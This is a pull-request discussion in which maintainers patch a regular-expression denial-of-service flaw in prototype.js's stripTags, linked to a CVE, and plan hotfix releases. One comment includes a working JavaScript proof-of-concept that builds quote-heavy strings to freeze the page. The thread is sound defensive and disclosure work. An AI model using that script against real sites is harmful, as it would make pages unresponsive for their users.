Fixed bug in prototypejs

[fballiano]

Everything is explain in prototypejs/prototype#356

I'm not publishing too many details on this PR since it's a delicate matter, but we should merge it ASAP

[elidrissidev]

If I try the regex on the string <strong>Hello World</strong>, the new one doesn't match the closing tag. Is that intended?

[theroch]

The PR is a little bit different from prototypejs/prototype#349
We've tested only the PR349 successfully.

Why is this PR public?

[elidrissidev]

Yes, the solution proposed in prototypejs/prototype#349 seems to be working fine.

[fballiano]

@elidrissidev switched the PR to the code used in prototypejs/prototype#349

@theroch cause it's public on prototype repo since 2021, also, if we merge it quick we can release it quick

[theroch]

@theroch cause it's public on prototype repo since 2021, also, if we merge it quick we can release it quick

It's an argument ;)

[elidrissidev]

Regex works fine, but untested since I don't know how to replicate the issue.

[kiatng]

I found an attack script, but not sure how to test it. If someone can test if the fix really works?

[theroch]

I found an attack script, but not sure how to test it. If someone can test if the fix really works?

We've tested with this script and we can confirm that this fixed the issue.

Sorry I was very busy, so I only now get to answer you again.
Yesterday I sent an email to [email protected] with all this information. Did none of you receive this mail?

[elidrissidev]

Yesterday I sent an email to [email protected] with all this information. Did none of you receive this mail?

/cc @Flyingmana

[Flyingmana]

I found an attack script, but not sure how to test it. If someone can test if the fix really works?

We've tested with this script and we can confirm that this fixed the issue.

Sorry I was very busy, so I only now get to answer you again.
Yesterday I sent an email to [email protected] with all this information. Did none of you receive this mail?

I did and forwarded it internally, where @fballiano got it and volunteered to take care of it.

(there are currently 3 or 4 people behind the security contact address)

[fballiano]

@theroch that's the info I left out intentionally :-D

[kiatng]

Tested. Add the following in any page

<script>
function build_attack(n) {
	var ret = "hello <span> <a "
	for (var i = 0; i < n; i++) {
		ret += "'"
	}

	return ret+"!";
}
function attack() {
    for(var i = 1; i <= 50000; i++) {
        var time = Date.now();
        var attack_str = build_attack(i)
        attack_str.stripTags()
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
    }
}
</script>

Then execute the attack in browser console. The page became unresponsive without this PR.

[fballiano]

merged and ported to v20

@kiatng @elidrissidev @Flyingmana do you think we should do another hotfix release?

[elidrissidev]

Anything blocking a full release?

[Flyingmana]

merged and ported to v20

@kiatng @elidrissidev @Flyingmana do you think we should do another hotfix release?

as its related to a CVE, its probably preferred by users to have another release

[theroch]

How is it with the version number in prototype.js. Is it possible to increase it to 1.7.4 or 1.7.3.1.
External auditors looks only for the versions numbers and and would find fault with or comment on that.

[fballiano]

I wouldn't change the prototype version as prototype itself didn't do anything about it.

as per ZF1, we apply patches but don't change their version number.

[fballiano]

@Flyingmana I'll prepare another hotfix

[fballiano]

I've prepared the 2 hotfix branches with version bump and this commit, could you just do a quick check for me before actually tagging the release? thanks!